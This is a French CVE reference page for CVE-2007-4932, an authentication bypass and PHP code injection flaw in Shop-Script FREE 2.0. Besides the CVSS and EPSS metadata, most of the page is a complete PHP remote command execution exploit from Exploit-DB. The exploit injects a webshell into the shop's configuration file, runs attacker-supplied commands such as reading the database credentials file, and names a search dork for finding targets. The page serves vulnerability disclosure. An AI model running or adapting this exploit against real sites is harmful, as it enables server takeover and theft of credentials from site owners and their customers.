CVE-2007-4932
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
admin.php in Shop-Script FREE 2.0 and earlier sends a redirect to the web browser but does not exit when administrative credentials are missing, which allows remote attackers to access the admin panel.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 4419
Date de publication : 2007-09-16 22h00 +00:00
Auteur : InATeam
EDB Vérifié : Yes
<?php
## Shop-Script FREE <= 2.0 Remote Command Execution Exploit by InATeam
## tested on versions 1.2 and 2.0
## works regardless magic_quotes_gpc=on
## Greetz: eXp, Kuzya, cxim, Russian, ENFIX
echo "--------------------------------------------------------\n";
echo "Shop-Script FREE <= 2.0 Remote Command Execution Exploit\n";
echo "(c)oded by Raz0r, InATeam (InAttack.Ru)\n";
echo "dork: \"Powered by Shop-Script FREE\"\n";
echo "--------------------------------------------------------\n";
if ($argc<2) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] [cmd]\n\n";
echo "[url] - target server where Shop-Script FREE is installed\n";
echo "[cmd] - command to execute\n\n";
echo "e.g. php {$argv[0]} http://site.com/shop/ \"ls -la\"\n";
echo " php {$argv[0]} http://shop.site.com:8080/ \"cat
cfg/connect.inc.php\"\n";
die;
}
/**
* software site: http://shop-script.com/
*
* i) admin authorization bypass
* vulnerable code in admin.php near lines 37-41:
* ------------------[source code]----------------------
* if (!isset($_SESSION["log"]) || !isset($_SESSION["pass"])) //unauthorized
* {
* //show authorization form
* header("Location: access_admin.php");
* }
* ------------------[/source code]---------------------
* unathorized user wiil be redirected to the page with the auth form but the script will continue running.
* So, admin panel can be accessed by ignoring "Location" header. Solution:
* ------------------[source code]----------------------
* if (!isset($_SESSION["log"]) || !isset($_SESSION["pass"])) //unauthorized
* {
* //show authorization form
* header("Location: access_admin.php");
* die;
* }
* ------------------[/source code]---------------------
* ii) arbitrary php code injection
* vulnerable code in /includes/admin/sub/conf_appearence.php near lines 29-38:
* ------------------[source code]----------------------
* $f = fopen("./cfg/appearence.inc.php","w");
* fputs($f,"<?php\n\tdefine('CONF_PRODUCTS_PER_PAGE', '".str_replace("'","\'",stripslashes($_POST["productscount"]))."');\n");
* fputs($f,"\tdefine('CONF_COLUMNS_PER_PAGE', '".str_replace("\\\"","\"",$_POST["colscount"])."');\n");
* ...
* fputs($f,"\tdefine('CONF_LIGHT_COLOR', '".str_replace("\\\"","\"",$_POST["lightcolor"])."');\n?>");
* fclose($f);
* ------------------[/source code]---------------------
* specially formed POST data will break the config file's structure. So, it is possible to inject
* arbitrary php code in /cfg/appearence.inc.php. Solution: filtering backslash and single quote characters.
*/
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
$cmd = $argv[2];
$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$packet ="GET {$path}admin.php?dpt=conf&sub=appearence HTTP/1.0\r\n";
$packet.="Host: {$host}\r\n";
$packet.="User-Agent: InAttack evil agent\r\n";
$packet.="Connection: close\r\n\r\n";
$resp = send($packet);
echo "[~] Connecting to $host...";
$resp ? print(" OK\n") : die(" failed");
$inputnames=array("productscount","colscount","darkcolor","middlecolor","lightcolor","add2cart","bestchoice");
$matches=array();
foreach($inputnames as $input) {
if (preg_match('@<input type=text name='.$input.' value="([^"]*)">@',$resp,$matches)) $inputvalues[$input] = urlencode($matches[1]);
elseif (preg_match('@<input type=checkbox name='.$input.' checked>@',$resp,$matches)) $inputvalues[$input] = "on";
}
if (!isset($inputvalues) || sizeof($inputvalues)==0) die("[-] Exploit failed");
echo "[~] Sending shellcode...";
$data = makedata(1);
$packet = "POST {$path}admin.php HTTP/1.0\r\n";
$packet.= "Host: $host\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";
$packet.= $data;
$resp = send($packet);
$resp ? print(" OK\n") : die(" failed");
echo "[~] Executing command...";
$packet ="GET {$path}index.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
$packet.="Host: {$host}\r\n";
$packet.="User-Agent: InAttack evil agent\r\n";
$packet.="Connection: close\r\n\r\n";
$resp = send($packet);
$matches=array();
if (!preg_match('@InAttack(.*?)InAttack@s',$resp,$matches))echo("failed\n");
else (($result = $matches[1]) == 's4f3_m0d3') ? print(" failed\n[-]
Safe_mode=On\n") : (($result == 'd1s4bl3d') ? print(" failed\n[-]
system() is disabled\n") : printf(" OK\n%'-56s\n%s%'-56s\n",'',$result,''));
echo "[~] Restoring values...";
$data = makedata();
$packet = "POST {$path}admin.php HTTP/1.0\r\n";
$packet.= "Host: $host\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: keep-alive\r\n\r\n";
$packet.= $data;
$resp = send($packet);
$resp ? print(" OK\n") : die(" failed");
function send($packet) {
global $host,$port;
$ock = @fsockopen(@gethostbyname($host),$port);
if (!$ock) return false;
else {
fputs($ock, $packet);
$html='';
while (!feof($ock)) $html.=fgets($ock);
}
return $html;
}
function makedata($modifyvalues=0) {
global $inputvalues;
$shellcode = '\');if(!empty($_GET["cmd"])&&!defined("INA")){echo"InAttack";if(!ini_get("safe_mode")){if(strpos(ini_get("disable_functions"),"system")===false){$c=$_GET["cmd"];if(get_magic_quotes_gpc()){$c=stripslashes($c);}system($c);}else{echo"d1s4bl3d";}}else{echo"s4f3_m0d3";}echo"InAttack";define("INA",true);}//';
$data = "dpt=conf&";
$data.= "sub=appearence&";
$data.= "save_appearence=1&";
$data.= "productscount={$inputvalues['productscount']}";
if ($modifyvalues==1) $data.=urlencode("\\".$shellcode)."&"; else $data.="&";
$data.= "colscount={$inputvalues['colscount']}";
if ($modifyvalues==1) $data.=urlencode($shellcode)."&"; else $data.="&";
$data.= "darkcolor={$inputvalues['darkcolor']}";
if ($modifyvalues==1) $data.=urlencode("\\\\".$shellcode)."&"; else $data.="&";
$data.= "middlecolor={$inputvalues['middlecolor']}&";
$data.= "lightcolor={$inputvalues['lightcolor']}&";
$data.= "add2cart={$inputvalues['add2cart']}&";
$data.= "bestchoice={$inputvalues['bestchoice']}";
return $data;
}
## EOF
?>
# milw0rm.com [2007-09-17]
Products Mentioned
Configuraton 0
Shop-script>>Shop-script >> Version To (including) 2.0
Références
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC)
sont maintenues par MITRE Corporation, et les informations sur les configurations
logicielles et matérielles (CPE) proviennent du NVD.